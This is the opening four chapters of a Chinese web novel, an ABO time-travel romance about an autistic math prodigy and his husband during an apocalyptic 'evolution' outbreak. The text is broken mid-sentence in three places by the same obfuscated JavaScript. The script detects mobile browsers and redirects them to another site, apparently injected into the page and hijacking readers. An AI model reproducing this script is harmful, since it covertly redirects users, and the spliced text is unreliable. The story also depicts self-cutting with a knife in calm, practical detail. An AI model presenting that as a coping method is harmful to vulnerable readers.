《老公变成Omega这合理吗》 1. 第 1 章 庄兆三岁才会说话,去儿童医院被确诊为阿斯伯格综合征,俗称自闭症。 他的父母是创一代,家里刚富起来没几年,事业忙碌到处飞,因此他的病症还是家里的保姆阿姨发现的。 确诊之后,父母对孩子十分愧疚。好在症状轻微,发现得也不算晚,还有纠正治疗的机会。 庄兆本人并没有感到任何难过之处。比起迟来的关注和治疗,他更希望父母少回家,多打钱,给他买更多漂亮的地球仪模型。 他喜欢独处,书房就是他的全世界,不喜欢甚至是抵触和外人交流,包括自己的父母。 社交困难是自闭症患者的痛点,但他家里很有钱,有钱到可以养着他永远待在自己的书房里和数字做朋友,所以庄兆觉得,永远当个病人也没关系。 庄兆从小就对数字十分敏锐,在数学方面有很高的天赋。他的所有老师都是以网课形式见面的,而且视频窗口永远龟缩在右上角,还没一块橡皮大,人脸都看不清。 只有给他讲微积分的教授会得到优待,视讯窗口豪横地占据半个屏幕。庄兆喜欢一边听课,一边观察擅长数学的人长什么样子,说话是什么神情。然后跟自己对比寻找共同之处,确认他自己也是个数学天才。 除了吃喝拉撒睡以及索要地球仪模型,他并非对人类毫无兴趣。只是他的父母暂时还没有发现这点。 直到他六岁生日那天。 一家三口坐在超豪华的冰激凌大蛋糕前,父母唱着生日快乐歌,给他带上小皇冠造型的生日帽,问他今年想要什么生日礼物。 庄兆绷着一张小脸,坐姿板正得有些僵硬,目光却越过他们,指向院子。 他指着草坪上正在捡球的小男孩说,“我要那个。” 起先他的父母并没有意识到他说的是“那个人”,而非“那个球”。 在连续尝试了足球本球、足球造型的蛋糕、足球印花的地球仪、会踢足球的高数老师等等,却都没有讨得儿子的欢心之后,两人终于通过排除法得出了一个不可思议的正确答案—— 他想要的是足球的主人。那天在院子里捡球的小男孩。 “不好意思,把球踢到你家院子里来了。” 应重明应邀来到他家,眨着水灵灵的大眼睛问他,“你想跟我一起踢球吗?” “不想。” 尽管是自己感兴趣的人,庄兆和他说话时依旧身上像有蚂蚁在爬。但还是强忍着不适,对他发出邀请,“你想跟我一起做数学题吗?” “当然。”应重明笑眯眯地说,“我也很喜欢数学呢。” 好品味。 庄兆递给他一支铅笔。两人就此认识了。 有钱人家隔壁住的当然也是有钱人。父母都非常支持他们交朋友,一边是对小数学天才有所耳闻,乐意让儿子去接受一下学术兴趣的熏陶。另一边则是终于看到儿子对活人感兴趣,喜极而泣谢天谢地。 简而言之,应重明就这样被他要到了自己家。 应重明比庄兆小半岁,父母也忙于事业很少回家。他还有一个姐姐,在读女校,只有放假时才能见面,所以总是自己一个人踢球。 交到新朋友之后,他每天放学就让司机把车直接停在庄兆家门口,一起吃晚餐,写作业,玩得太晚偶尔会留下过夜。 庄兆是不用出门上学的。他会在晚餐桌上讲学校里的趣事,庄兆大部分时间都假装在听。 他自以为很隐蔽地走神。其实在应重明眼里,那张呆呆愣愣的可爱小脸完全藏不住任何心事。只是因为喜欢看他呆呆的表情,所以每天都坚持在讲,乐此不疲。 而庄兆对这份每日噪音的容忍也是有原因的。 他除了去医院几乎不会离开家,社交量无限趋近于零,但听得出应重明在学校是很有人气,很受欢迎的那种小孩,朋友很多。 他却只有应重明这么一个可以一起学习数学的朋友。为了维持友谊,他不得不做出一点牺牲。 可惜的是,尽管他已经努力地引导朋友维持对数学的兴趣,但在接下来的几年里,应重明还是逐渐对生命科学表现出更大的热情。 庄兆因此大受打击。 都说道不同就该不相为谋,应重明却并没有离开他。相反,还对他发出了一起留学的邀请。 让庄兆换个国家生活简直是地狱级难度,他连离家三公里以外的范围都会迷路。但他的梦校是麻省理工学院,为了心爱的数学专业,他早晚都要走出家门。 如果有挚友的陪伴,这条路对他而言会好走很多。 他们一起留学的想法,两边家长也很支持。转去美国高中读预科之前,庄兆的父母就给他买好房子,并许诺高额薪资,让看着他长大的管家和保姆一起过去,陪他飞往遥远的北美洲。 下飞机那天是个晴空万里的好天气。应重明牵着他的手踏上异国土地,很高兴地吻了他,“接下来就是我们两个人生活了哦,小兆,我会好好照顾你的。” “你应该叫我哥哥。”庄兆严谨地纠正。 他一直认为自己身为年长的那个,也该对应重明的幼稚行为表现出更多的成熟和包容。 这是他对应重明的亲吻和拥抱都已经熟悉到脱敏的主要原因。 但他对学校生活一窍不通,确实也需要应重明帮助。刚开始的半年简直太煎熬,哪怕应重明已经事事都为他考虑到,自身对陌生环境的排斥也很强烈。 好在生活逐渐安顿下来,他专注于学习,如愿考入麻省理工。应重明也顺利考入哈佛,研究生命科学。两人的学校只有一英里的距离,依然每天都可以见面,形影不离。 应重明读本科时依旧颇受欢迎,温柔开朗又英俊的形象,无论在哪里都很容易博得好感。而且还很坦诚,所有人都知道,他的男朋友是隔壁MIT数学专业的天才。 只有庄兆本人不知道。 但他也不是完全不知道。 他不清楚别的好朋友是什么相处模式,但很清楚,在他因环境变化而产生应激反应时,只有应重明的拥抱可以让他恢复平静。 因此在大三暑假,在他和应重明旅行欧洲,不小心喝到熟醉,并于次日醒来发现两人滚到一张床上时,他恍然醒悟。 好朋友不会做/爱。至少不应该。 意识到这点时,应重明正从背后抱着他,一下下啄吻他的后颈,“好喜欢小兆。” 应重明说,“怎么办呢,对你做了这样的事。我们只能结婚了。” 说结婚可能会有点奇怪。但要是说他们从此立下誓言, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572578|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彼此忠诚地爱护对方,无论富贵或贫穷,健康或疾病,都不离不弃—— 庄兆觉得,他们本来就会这样。 在经过深思熟虑之后,他给父母打了一通越洋电话,内容很简洁,“我们发生了性/关系。我认为应该对他负责。” “……” 也是没招了。 能怎么办。两个孩子走到这一步,家长的每一次支持都算数。 于是本科毕业,两人抽空去荷兰领了个结婚证。没有举办婚礼,连父母都没邀请,只有应重明的姐姐应惊蛰强行路过,请他们吃了顿晚餐当作庆祝。 两人成事那天晚上的红酒就是她送的。除了家长,她也是功不可没。 庄兆这个婚结得很舒心,领完证就回学校继续读研了。 他喜欢狭小的空间,研究生宿舍比父母准备的房子还要令他满意,而且离图书馆和研讨室都更近,所以他在校日都选择住宿舍。 应重明住校外的时间更多,除了下课接他一起自习,不太会去宿舍打扰他。不过每个周五都会布置好漂亮的烛光晚餐,接他回家共度二人世界。 这样的亲密程度对他来说刚刚好。他的世界里一半是数学,一半是应重明。他喜欢这样的世界。 庄兆对现阶段的已婚生活很满意,希望人生就这样稳定,温和,顺遂地持续下去。 然而在他研究生入学半年后的某一天,变故毫无预兆地发生。 在去图书馆的路上,他看见校园里游荡着几个喝醉了一样的学生。他对环境的改变非常敏感,下意识地远离,换了条路走,却看见更多行为异常,眼神迷离的人类。 动手动脚,毫不顾忌地抱在一起互啃,就在图书馆外走廊。 空气中弥漫着情/欲的气味。他们怎么可以在知识与文明的殿堂中做这种事?太可怕了。 庄兆被吓坏了,抱着书跑出去,给应重明打电话。 应重明竟然没有接。 这是二十一年来,他第一次无法联络到应重明。 庄兆意识到事情不简单,避着扭缠的人流找了块树荫,躲在角落里继续拨打电话,不安地啃着手指头。 学校官网忽然弹出消息警告,有不明病毒出现,疑似通过空气传播,速度极快,会让人失去神智形同野兽,让学生待在封闭的室内不要外出。 他蓦地想到今天是周五,应重明没有课,通常都会亲自开车去商超,采购晚餐要用的食材。 他们隔着好几个街区,街道上还有危险的流浪汉。应重明会不会已经遭遇了意外? 庄兆心跳得极快,牙齿打颤,不小心把指尖啃出血来。 但他身为哥哥,遇到事情应该要更加镇定成熟,不能慌乱。应重明很可能有危险,还在等他去救。他必须振作起来。 他学习数学的神圣殿堂已经被这些人玷污了,他不能让应重明也被玷污! 难怪说人的成长是一瞬间的事。庄兆就在这个瞬间,觉醒了身为一家之主的责任感。 他挺直脊梁,感觉自己身材都高大了许多,能顶大半片天,决定先叫个车回家查看情况。 就在这时,应重明的电话终于打了回来。 他立刻接通,听见自己的声音带着哭腔,“老公,你在哪?” 2. 第 2 章 AI驾驶的无人车迅速找到庄兆的位置。他上了车,但发现车里只有自己,心里的不安没有减少,“为什么你不在?” 他猜测应重明也受到了病毒的波及。因为如果可以出门的话,应重明一定会亲自开车来接他。 “我找了离你最近的派车点,先接上你。现在你坐车回家来找我好吗?我还在家里。” 应重明说话的声音还是很温柔,只多了些微微起伏的喘息,“无论发生任何事都不要下车。在能够亲手触碰到我之前,一定待在车里。可以做到吗?” “可以。”他本来就不会自己一个人在外面下车。“你在家里还好吗?” “我很好。”应重明说,“别害怕,宝宝,捂住耳朵不要往外看,不要挂断电话,待会儿见。” “好的。” 庄兆刚答应完,就被擦着车身跑过去的裸男吓到了。 街道上一片混乱,不仅有野兽开春的多人运动行为,还有被激发的愤怒和暴力,沿途没有一家商店的橱窗还是完整的。城市破碎失控,硝烟弥漫,尖叫和咒骂声此起彼伏,捂住耳朵也能听见。 庄兆不敢再往外看,感觉每一眼都是精神病出来团建,在挑战他本就敏感脆弱的神经。他缩在车座里,换了一只手用力咬着,“我要回家……我要回家,我要回家我要回家。” 同样的惊恐发作只在刚来美国时发生过,因为一天之内有太多人跟他打招呼,甚至有同学上来搭他肩膀,导致他情绪崩溃。 他连看末日电影中混乱的镜头都会有应激反应,更不要说现在是真的身处其中。太可怕。 “宝贝,听我说。”应重明的声音从他摔落脚下的手机里传出来,“等这阵热潮过去,我们就包机回家,不会太久的。你很想我是吗?我们上一次通话还是昨天晚上,今天都没有联系过呢。” 庄兆很在意话语中不严谨的点,哪怕那是被故意留出的破绽,“我们早上有发消息。” “对哦,说了什么?” “……” 庄兆有些难以启齿,注意力也顺势被分散,眼珠盯着脚下乱晃。 他不懂为什么明明每天都见面,每周都会做/爱,应重明还是会梦到他,还会梦遗,还要在早上刷牙的时候用缠绵的语调讲出来。 “我今天上不成课了。”他生硬地转换话题,“还好只有两节。” 庄兆对于数学的热情包括但不仅限于每天要学满八小时,每次考试无论规模大小都要保持专业第一。讲到小组讨论时更是滔滔不绝,最后总结,“他们的理解速度很慢,思路也不如我。” “当然,因为你是天才。”应重明笑着说。 道路变得清幽。他乘坐的车辆终于开始减速,停靠在家门前。隔着院子,远远地能看见应重明的身影。 他没有下车,因为应重明交代过,要伸手就能摸到的距离才算完成见面。 应重明也没打算让他下车,快步走近,拉开车门钻进来,给了他一个大大的拥抱,体温高得吓人,“宝宝,你现在可以自己回家了。做得好。” 庄兆有被烫到,但没有推开他,整个人被高大的身影包裹。只剩一丝余光,发现车子再次启动,“我们要去哪里?” “安全屋。” 他们要赶在交通彻底瘫痪前抵达城区,所以他准备的公寓尽可能的不离家太远,周围又有可以应急的各种商店药店,以备不时之需。 庄兆见到他才彻底放松下来,窝在他怀里小口呼吸,“你身上好香。” 和他平常会用的香水气味不同。是一种很有侵染性的香味,好像不只是吸进鼻子,还会往人脑子里钻。 “是信息素的味道。”应重明握着他的手,两人无名指上的婚戒贴在一起,“待会儿我会跟你详细地解释。” 应重明收集信息和对陌生环境的适应能力非常强。从两人初到异国求学开始,庄兆就什么都听他的,更不要说现在都已经结婚了。 庄兆十分信任地点了点头,放心依靠,“好的老公。” 应重明准备的安全屋是位于市区边缘的高层公寓,一梯一户,面积不大,适合两人短期过渡生活。物资一应准备齐全,生活用品,饮用水,食物和药物,还有简单的医疗工具箱,想到什么他就会过来补充。 在发现进化初潮来临的第一时间,他就采购了足够两人食用半月的新鲜食材,送往这个临时小家,此时装得满满当当的两个大购物袋正堆在门口。 应重明开了门,一只手拎起沉重的购物袋,一只手仍牵着他。庄兆连忙拎起另一袋,半提半托地拿进来。 室内窗帘紧闭。应重明打开了灯,让他坐到沙发上,又从冰箱里拿来两瓶水。 比起庄兆,他显然是更口渴的那一个,几次吞咽就把整瓶水喝了个干净。 庄兆刚拧开瓶盖,目瞪口呆地看着他,表情有些愣怔,片刻后眨了一下眼睛,把自己手里的水也递过去。 应重明笑了,依然英俊,只是脸上泛着不正常的潮红。他摇了摇头,把庄兆拉到腿上坐,“现在要讲一些重要的话。” 庄兆点点头,“好的。” “没有吓人的东西。你会惊讶,但不用害怕。”应重明提前给他打预防针,紧紧地攥着他的手,好像害怕接下来的话会把他吓跑掉,“小兆,我来自2125年。” ** “接下来人们所说的信息素,特指ABO信息素,是一种比现今已知的人类激素更剧烈地引起激动反应的微量物质,由人类进化后的ABO腺体分泌产生。” “新闻播报里的病毒传播,被后世称为进化初潮,或是进化热潮。人类会由此分化出三个新的性征,Beta,Alpha和Omega,社会规则也会发生变化,进入残酷的新世界。” 他说,“我就来自那个世界。” 他停顿下来。房间里充斥着震耳欲聋的沉默。 在他说出第一个ABO词汇时,庄兆就把手抽走了。 庄兆冷静地审视着他,绷直的嘴角微微往下抿着,如同在看一张写满错误公式的手稿纸。 应重明心跳得非常快,神经异常敏锐,甚至能听到血管里汩汩流动的响声。不知道是因为进化初潮的影响,还是因为他受不了庄兆这样的眼神。 非常性感。 “你好,从2125年来的应重明。认识你不太高兴。” 庄兆有礼貌地问,“请问你是什么时候认识我的?” “在你六岁生日的第二天。”应重明完全明白他戒备的重点,“放心,我是以自然出生的方式来到这里的。一直都是我。” 他很明显地松了口气,把手又塞了回去,“是你呀老公,吓我一跳。” 还好不是被外来灵魂夺舍。 庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572579|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兆需要确认的只有这一件事。 众所周知,科学的尽头是玄学。他对应重明忽然坦言的新身份接受良好。世界无论何时都很残酷,进化是必然法则。 而且,刷新身份后的老公带来了重要的情报,让他们能够把握局面,跟其他人相比不至于太慌乱。 总结,老公好。 庄兆担忧地用另一只手摸他的额头,“那你还要多久才能进化好?这里有退烧药吗。” “有,我准备了很多。最初的进化热潮会持续三天,然后转成低烧,平均在一周内痊愈。”他问庄兆,“宝宝,你有没有哪里不舒服?” “还没有。”庄兆说,“为什么呢?广播里说几乎所有人都受到了影响,连播音员的呼吸都很痛苦。” 灼热的吻落在他额头上。应重明露出满足的笑意,“因为你是被眷顾的。” 历史记载,百分之八十的人类都会在今天分化出新性征,剩下的小部分会晚一到两天,但全部都会在一周内完成进化。 庄兆的身体对进化热潮不敏感,就证明有很大概率会分化成Beta。 有一件事他没有告诉庄兆。在进化热潮中,先一步进行分化的人类里,有五分之一并不能熬过高烧和细胞分裂的痛苦。 这十几亿死亡平等地发生在各个国家,各个阶层各个领域,无关往日的体质健康或虚弱,头脑聪明或愚蠢,身份高贵或卑贱。并引发了接下来几十年世界范围内的社会动荡。 先分化且活下来的人大部分是Alpha和Omega,而迟一些分化的人类,则几乎都是Beta。对后者而言,分化热潮等同于一次寻常的重感冒,只要没想不开自己出去寻死,生存率高达百分之百。 除此之外,Alpha和Omega即使生存下来,也会时常陷入精神混乱,很容易变成疯子,终身都需要信息素药物的控制保持清醒。Beta却不那么容易受到信息素的影响,和进化前的普通人无异。 未来的三个性征中,Alpha是战斗机器,Omega是生育机器,只有Beta是维持社会稳定的中流砥柱。 他希望庄兆能分化成Bata。这是他日夜祈祷的,最安全最理想的情况。 只是对他这个伴侣而言,可能有些残酷。 “我对历史细节不太清楚,只记得年份,但不知道进化发生的具体日期。”所以他从年初就已经在准备这座安全屋,“抱歉,还是吓到你了。” “你可以在家里准备。”庄兆说,“为什么还要再找另外一个地方?”瞒着他准备了这么久。他居然都没有察觉,有一点不开心。 “因为我更希望进化不会发生。” 应重明无奈道,“我希望自己是在白费力气。你什么都不必知道,也不用受到惊吓。我们还可以跟原来一样生活。” 可惜他准备的这一切还是派上了用场。他回到了百年前的地球,重活一遍,他还是没有躲过进化热潮,甚至再一次分化成了Omega。 这股令人作呕的信息素气味再一次包裹了他,如同一场黏腻的旧日噩梦。 他希望只是噩梦。 然而庄兆用一双漆黑亮堂的眼睛,格外清楚地告诉他,这一切都在发生。这一切都是现实。 “那你会变成什么呢?”庄兆问他。 “Beta,Alpha,还是Omega?” 3. 第 3 章 说实话总是艰难。但应重明回答,“我会分化成Omega。” “好吧。” 庄兆很自然地接受了。因为他根本不知道Omega在指代未来人类的性征之一时,有什么样的含义。然后他又问,“我现在要给爸爸妈妈打电话吗。” 他天生情感异于常人,对人情世故的意识也很薄弱。但应重明一直教他,告诉他礼节性的常识,什么时候要做什么事。 近年来他已经有了很大的进步,所以这句问话实际上是陈述语气。他认为现在的情况,有必要给家里打电话了。 “可以给姐姐也打一个。”应重明说。 “接下来我可能会昏……睡一会儿。”他没敢说昏迷,怕吓到庄兆,并且着重提醒,“会睡得很沉,沉到你都叫不醒我。但没关系,那只是分化的必要阶段,不要担心。” “好的。”庄兆一脸严肃地记在脑子里。 他对环境的忽然变化极度敏锐。但如果是像应重明这样,提前告诉他会发生什么,他就能预先在脑海中排演,适应。等到他真的发现应重明陷入昏迷,怎么都叫不醒的时候,也不会太应激了。 他扶着应重明去卧室里躺下,然后出来给家长报告情况,因为情况紧急,他直接在家庭群里发起了视频通话。 进化热潮席卷世界,各地都陷入兵荒马乱之中。他们各自的父母住在国内,应惊蛰独居在意大利,目前都安全地待在住所里,等待官方通报情况和下一步的应对措施。 视频中能够看到,他们都不同程度地出现了发热和神智昏迷的症状。两个家庭七口人,只有庄兆自己暂时还没受到进化热潮的攻击。 即便如此,他们最担心的还是庄兆。 “小兆,你要优先照顾好自己。” 父母们体力不支,只说了几句确认平安后就去休息。剩应惊蛰还待在线上,又嘱咐他,“应重明没事的,他从小身体素质很好。你顾好自己,他才不会担心。” “好的,姐姐。”庄兆说,“我会照顾好自己,也会照顾好他。” 挂掉电话,他回想自己为数不多的生病时期,应重明是怎么照顾他的。 会有很多的亲吻和陪伴,吃药时要多说些甜蜜的话冲掉苦涩。还要煮一些利于消化的食物。 于是庄兆去卧室询问他想吃什么,却发现他已经陷入沉睡,只好给他盖一盖被子,然后自己到书房里学习。 即使是临时落脚的安全屋,应重明依然给他留了一间书房。因为他每天要学够八小时,才能睡得着觉。 书架上摆得满满当当,书桌上的文具都按照他平时的习惯严格摆放,桌角还有一只磁悬浮地球仪小灯。 庄兆坐下来,伸出手指戳了一下。地球仪略微偏离平衡,但很快又回到原本的位置悬浮。磁铁的吸引力和重力相互平衡。 即使末日降临,他依然拥有数学和应重明。 他依然拥有全世界。生活和从前没有太大差别。 这份认知让庄兆全身心地放松,进入了每日深度学习中。 公寓在十九层,门窗关闭,街道上的吵闹声变得隐约,几不可闻。 窗帘都拉严了,看不见天色。下午两点,庄兆肚子有点饿,才从学习中抽离出来,去卧室里看一下应重明情况如何。 奇怪的是,书房门是关着的。他进来时明明没有关。 庄兆打开门出去,发现卧室门也被关上了。他只好又打开一道门,看到床上是空的。应重明并不在卧室里。 除了入户大门,他们两个在家时,从来不会关任何房间的门。庄兆第一次感到自己在被刻意地隔离,很不习惯,只好在公寓里到处找人。 卧室和书房没有,厨房和客厅也没有。阳台上他不敢去看,就只剩下洗手间。那里门没有关。 洗手间面积不大,干湿分区。庄兆刚从卧室出来,路过门口扫一眼就知道没人。但他在别的地方都没有找到应重明,用排除法也只能回到这里来。 这一次,他刚走进洗手间,就听见浴室里头传出重重的嘶气声。听起来很痛苦,他的心脏像被细线箍紧,大步上前,一把拉开浴帘。 应重明蜷在浴缸里,全身都湿透了,与他目光相对时,手里还握着一把餐刀,抵在皮肤上闪着锋利的寒光。 他肩膀和脖颈的连接处,被交错着划开了两道很深的口子。血涌出来,流进浴缸里,围绕他的身体晕开一片妖冶的浅红。 ** 庄兆受到了极大的刺激,后退两步,不受控制地发出尖叫,“你在干什么!” 他的丈夫已经烧到意识不清醒,居然躲在洗手间里偷偷自残。 “不……不是你想的那样。”应重明也有些慌乱,似乎没想到他会这么快结束学习找过来。 应重明想从浴缸里站起来,但身体有些脱力,试了几次都没能成功。伤口还在不停地冒血。 昔日里无所不能的完美男友用求救的眼神看着他。庄兆强忍着恐惧,“把刀给我。” 应重明依言照做。他接过刀就往外走,想丢出去又不敢出门,最后丢进了冰箱的冷冻柜里。 藏好刀,他才跑回浴室来扶应重明。 应重明依然在发烧,精壮有力的身体热意逼人。湿t恤半透明地贴在身上,把他的衣服也弄湿了。 “我没有想不开。ABO腺体是负责分泌信息素的新器官,只要破坏掉它,就能大幅度减少信息素对我的影响。” 他很有分寸地避开了主要血管,医药箱里也有缝合包扎的工具。尽管还处于进化热潮中,他对自己下手和在实验室里解剖动物一样冷静而精确,“我会成为Omega,是最容易受到信息素影响的一类人。这样做比较保险。” “可是你一直失血,不会死吗?” “不会的,休息一下就好了。腺体的恢复速度非常快,这个深度的伤口甚至不用缝合,四十八小时内就会结痂长平。”他熟练地操作,手边落下一小堆吸饱血的棉球。 庄兆看得心惊肉跳。但他尊重且信任伴侣的头脑和决策能力,确认道,“这样做是对你有好处的,对吗?” “当然。” 虽然是用痛苦抵消痛苦,但对信息素的渴求能得到有效缓解。上辈子没钱买抑制剂,应重明就是用这样的办法扛过一次又一次的发情期。 这辈子他投胎到了不缺钱的家庭里,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572580|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最初版本的信息素抑制剂要在两个月后才能生产出来,最快也要年底才能大规模地投入市场使用。他还是得先用老办法撑一撑。 应重明体感进化初潮和上一世的发情期相比,并不是那么的难以忍受。因此在神经撕扯又重新粘合的阵痛中,他换了一身干净的衬衣,挽起袖子问庄兆,“是不是饿了?去煎牛排给你吃好不好?我吃完药就吃不下东西了,但是可以陪你,看着你吃。” 庄兆说一点也不饿,强制性地要求他回到床上,安静地休息,“你不要动来动去,会扯痛伤口的。” 应重明顺从地躺进被子里,一双桃花眼还算清明,对着他温柔地眨了眨,“我本来都准备好今晚的菜单了,你一定会喜欢的……好可惜。” 在世界级的灾难面前,他更在意的是一顿被破坏的浪漫晚餐,细想简直令人毛骨悚然。 但庄兆不觉得。 因为他相信应重明就是有这么爱他。 现在他不放心让应重明自己待在卧室了。他答应了姐姐会照顾好自己和应重明,于是干脆把书桌上那一套搬到床上。在应重明睡觉时,饿着肚子趴在床边,继续算他的数学题。 退烧药和镇定剂同时起效,应重明看了他几分钟就眼皮发沉,入睡时嘴角还带着微笑。 他明明闭上了眼睛,却还是能看到庄兆的样子。穿着跟他同款的衬衫,外面套了件宽松的毛衣背心,深棕色的短发茂密又蓬松,带一点自然卷,演算公式的表情沉着又投入。跟hot nerd只差一副眼镜,整个人从头到脚沉浸在专注的神光里。 应重明想牵他的手,或者变成他手中的铅笔。 庄兆个子不算低,手却有一点小,肢体不太灵活。总是要用两只手握着他,还有点忙不过来。 在分化时想一些快乐的事,不知道算是慰藉还是折磨,将他在幻想和现实之间来回抛。 他过去经常在感受到这种无法选择的疼痛的同时,感受到被命运玩弄的恼火。 他作为一个残疾Omega流浪过十五年。他的生殖腔天生闭锁,畸形狭小还容易引发炎症,只能摘除。但他的腺体发育正常。这意味着他不仅有最容易受到信息素影响的低劣体质,同时还不具备正常Omega的妊娠功能。 从各个维度上考虑都很没用。 他是缺陷的集合体,是处于食物链最底端的,一件生来就注定报废的工具。也难怪会被父母抛弃。 还以为真有那么好运呢,他投胎转世,降生到了一个富有又和睦的家庭里。 原来不幸只是晚一点抵达,铺垫二十年,给他的后半生做对照。 不过这一回,应重明心里没有了怨恨。 见到庄兆的第一眼他就知道,命运把这样漂亮的宝贝送到他面前,以后一定会让他付出些什么代价来交换。 这是进化的第一年,人类对ABO法则还很陌生。进化成畸形的人多得是,他有足够的知识储备编造说法,能让庄兆接受他。 更何况,庄兆也很喜欢他,信任他,不是吗? 为了这一天,他也铺垫了很久很久。 不枉他特意选在庄兆过生日时,把球踢进隔壁院子里。 4. 第 4 章 时间来到晚上,庄兆也开始察觉身体燥热的变化。和平常感冒不太相同。 应重明就像他说的那样,睡得非常沉。庄兆爬上床,试探着摸了摸他的呼吸,沉重又滚烫。 外面安静了很多,仿佛整座城市都已陷入昏睡。庄兆到厨房里找吃的,面对冰箱里的食材一筹莫展,最后只吃了一包饼干,然后给自己接了温水,把应重明留在岛台上的退烧药吃掉。 他还没有和应重明一起生病的经历,感觉很新奇。仔细想想,应重明好像是从来不会生病的人,永远都健康,开朗,身体强壮,精力旺盛。 他又上网查询了一下ABO的分类,没有找到应重明说的那种世界观,倒是看见学校论坛里有人发求助贴,说自己的身体在高烧中变异,疑似长出了男性生殖器官。非常的骇人听闻。 庄兆平时不会看这种闲聊的板块。但帖子已经被顶到了最显眼的位置,他想不看到都难。 再加上这个发帖的女孩Taylor,很有可能是他为数不多的,除了应重明以外的留学生朋友,还是有必要确认一下的。 庄兆给自己认识的那位Taylor发了条消息,很快收到一长排惊恐的表情。 【我快要疯了Carl!我现在感觉自己虚弱且畸形】 【这一定就是世界末日吧,认识你很高兴,希望下辈子还能跟你做朋友[流泪][大哭][枯萎]】 “……” 庄兆认为自己应该安慰她,但又不想说太多暴露应重明知道的超前信息,一时间十分为难。 Taylor直接给他打了个电话,“你还好吗?我刚刚和女朋友大做特做了两场,整个人快要虚脱了,可是不这样又没办法缓解……大家都跟我情况差不多,据说都是因为这场病毒。天杀的病毒!哦希望Felix也在你身边。” “嗯,”庄兆看了眼床上熟睡的人,对着空气点点头,“我们在一起。” “……哪种在一起,是正连在一起吗?”Taylor感到些许冒昧的抱歉,“我是不是打扰你们了?” “没有,他在我身边睡觉。” “他在睡觉?!”对面的语气听起来非常不可思议,反复确认,“这种时候,他在你身边,睡觉?!” 庄兆没有听出她在惊讶什么,只是一味地分享如何战胜病魔,“他吃了退烧药,和很多镇定剂。是有效的。” “好吧……只能说他真的很爱你,purely。” Taylor顿了顿,又问,“可是我听着你的声音很清醒,你没有嗑/药昏睡,也没有像别的人那样疯狂doing it。你没有感觉到异常吗?” “我对病毒不敏感,只有一点低烧而已。”庄兆说,“应该有一部分人是这样。” “那你太幸运了……下午我们整栋宿舍楼的叫声非常精彩,现在弥漫着大战过后精疲力竭的死寂。” “……” “不知道明天情况会不会好一点,我身上这玩意儿必须得去医院看看……天杀的国外医疗又贵又慢!说不定我还得请假回国把它切了!” “……” 庄兆不知道该说什么,就从自己贫瘠的社交语库中挑了一句最适合当前语境的,“祝你一切顺利。” “谢谢!也祝你的Felix能多睡几天。”她说,“否则以你的小身板,能不能承受得住都很难讲。” “……” 庄兆挂掉电话,有一点困惑。 其他人都在疯狂? 他掀开被子,看着睡得脸颊红扑扑,梦中还有些皱眉的应重明,好奇地把手探下去,掏出来摸了摸。 “……” 怎么睡着了还会这样?又不是早晨。 庄兆被吓了一跳,赶快给他装回去提好裤子,心想果然是很坏的病毒。 不知道明天情况会不会变好,应重明说起码要到第三天。 他本能地信任应重明的话,忧心忡忡地想就这样三天可不行,会坏掉的。万一明天早上应重明还不醒的话,他只能牺牲自己上午的学习时间,对昏睡中的老公做一些不好的事了。 这个家总要有一个人来撑着。平时是应重明,现在是他。 退烧药起效,家庭的顶梁柱也感觉到困意,就在应重明身边躺下,亲了亲他的脸颊,闭上眼睛,“晚安。” 或许是Taylor描述的宿舍场景太劲爆,几乎没做过梦的庄兆同学这晚睡得很不安稳。 他梦见应重明也像同学口中那样失控,起伏的力度简直是在虐待他。 他求饶示弱,甚至小发脾气,却怎么都逃不掉。应重明像条蛇一样缠着他死死不放,还用阴森缠绵的声音蛊惑他,“咬我宝宝,用力点。” 他茫然地睁开眼睛,泪水顺势从眼尾滑落,才发现自己已经被顶到了床头和墙壁的角落里。 被异香糅杂过的绿茶香味更加浓郁,熏得人头晕眼花,手脚无力。 应重明埋头在他颈间用力地嗅闻,显得那奇怪的香味像是他身上散发出来的。 察觉他醒来,应重明稍稍退后,吻他的额头,声音低哑,“早安宝宝。” 庄兆被他勒得太紧了,怪不得会做噩梦。但还是很大度地像平常一样回了他一个吻,“早安老公。” 两个人都是满身的汗,一起去洗了澡。庄兆到外面吹头发,吹了一半还没见人出来,顿时有种不安的直觉,跑回去一看,他居然又撕开纱布,在朝肩膀的伤口比划。 昨天划开的那两道很深的伤口,以不同寻常的速度长出了肉芽,呛人的绿茶浓香就是从那里散发出来的。 庄兆看到血肉模糊就腿软,扶着门板起脸来教训他,“你住手,没有人是这样子的。” 应重明眉心微蹙,“没有人?” “Taylor昨天告诉我了,大家都不会像你这样!她们只是做/爱而已。” “……” 